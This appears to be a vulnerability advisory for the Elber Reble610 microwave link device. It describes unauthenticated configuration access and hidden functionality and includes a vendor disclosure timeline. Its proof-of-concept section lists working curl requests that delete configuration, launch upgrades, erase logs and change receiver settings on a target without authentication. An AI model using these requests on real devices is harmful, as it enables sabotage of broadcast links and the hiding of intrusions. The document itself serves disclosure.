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zeroscienceGjoko KrsticZSL-2024-5819
HistoryApr 17, 2024 - 12:00 a.m.

Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config

2024-04-1700:00:00
Gjoko Krstic
zeroscience.mk
72
elber reble610
xpic
microwave link
unauthenticated device config
hidden functionality
security bypass
privilege escalation
dos
vendor
nbfm controller
embos/ip
vulnerability
gjoko krstic

7.4 High

AI Score

Confidence

Low

Title: Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config
Advisory ID: ZSL-2024-5819
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024

Summary

The REBLE610 features an accurate hardware design, absence of internal cabling and full modularity. The unit is composed by a basic chassis with 4 extractable boards which makes maintenance and critical operations, like frequency modification, easy and efficient. The modular approach has brought to the development of the digital processing module (containing modulator, demodulator and data interface) and the RF module (containing Transmitter, Receiver and channel filters). From an RF point of view, the new transmission circuitry is able to guarantee around 1 Watt with every modulation scheme, introducing, in addition, wideband precorrection (up to 1GHz depending on frequency band).

Description

The device suffers from an unauthenticated device configuration and client-side hidden functionality disclosure.

Vendor

Elber S.r.l. - <https://www.elber.it>

Affected Version

0.01 Revision 0

Tested On

NBFM Controller
embOS/IP

Vendor Status

[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.

PoC

elber_reble_idor.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://packetstormsecurity.com/files/178139/&gt;
[2] <https://www.exploit-db.com/exploits/52007&gt;
[3] <https://cxsecurity.com/issue/WLB-2024050012&gt;

Changelog

[17.04.2024] - Initial release
[22.05.2024] - Added reference [1], [2] and [3]

Contact

Zero Science Lab

Web: <https://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 0.01 Revision 0

Summary: The REBLE610 features an accurate hardware design, absence of
internal cabling and full modularity. The unit is composed by a basic
chassis with 4 extractable boards which makes maintenance and critical
operations, like frequency modification, easy and efficient. The modular
approach has brought to the development of the digital processing module
(containing modulator, demodulator and data interface) and the RF module
(containing Transmitter, Receiver and channel filters). From an RF point
of view, the new transmission circuitry is able to guarantee around 1 Watt
with every modulation scheme, introducing, in addition, wideband precorrection
(up to 1GHz depending on frequency band).

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5819
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5819.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&amp;fan_target=&amp;warn_temp=&amp;alarm_temp=''
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&amp;cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&amp;cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&amp;freq_offset=0&amp;mute=1&amp;sq_thresh=-90.0&amp;dec_mode=0&amp;lr_swap=0&amp;preemph=0&amp;preemph_const=0&amp;deemph=0&amp;deemph_const=1&amp;ch_lr_enable=0&amp;ch_r_gain=0.0&amp;ch_l_gain=0.0&amp;ch_adj_ctrl=0&amp;ch_lr_att=1&amp;mpxdig_att=0&amp;pilot_trim=0.0&amp;mpxdig_gain=0.0&amp;rds_trim=0.0&amp;delay_enable=0&amp;local_rds=0&amp;output_delay=0&amp;pi_code=0___&amp;mpx1_enable=1&amp;mpx2_enable=1&amp;sca1_enable=1&amp;sca2_enable=0&amp;mpx1_att=0&amp;mpx2_att=0&amp;sca1_att=0&amp;sca2_att=0&amp;mpx1_gain=0.0&amp;mpx2_gain=0.0&amp;sca1_gain=0.0&amp;sca2_gain=0.0&amp;limiter_enable=false&amp;lim_1_gain=0.0+dB&amp;lim_1_th=0.0+kHz&amp;lim_1_alpha=0.0+%25&amp;setupTime=0.0+ms&amp;holdTime=0.0+ms&amp;releaseFactor=0.0+dB%2Fsec&amp;lim_2_en=false&amp;lim_2_gain=0.0+dB&amp;lim_2_th=0.0+kHz&amp;rds_gen=false&amp;rt_PI=&amp;rt_PS=&amp;rt_plus_en=false&amp;rt_line_A=&amp;rt_line_B=&amp;rt_AF=&amp;rf_trap=0&amp;output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
&gt; cleber_show_factory_wnd()

# Etc.
</p></body></html>

7.4 High

AI Score

Confidence

Low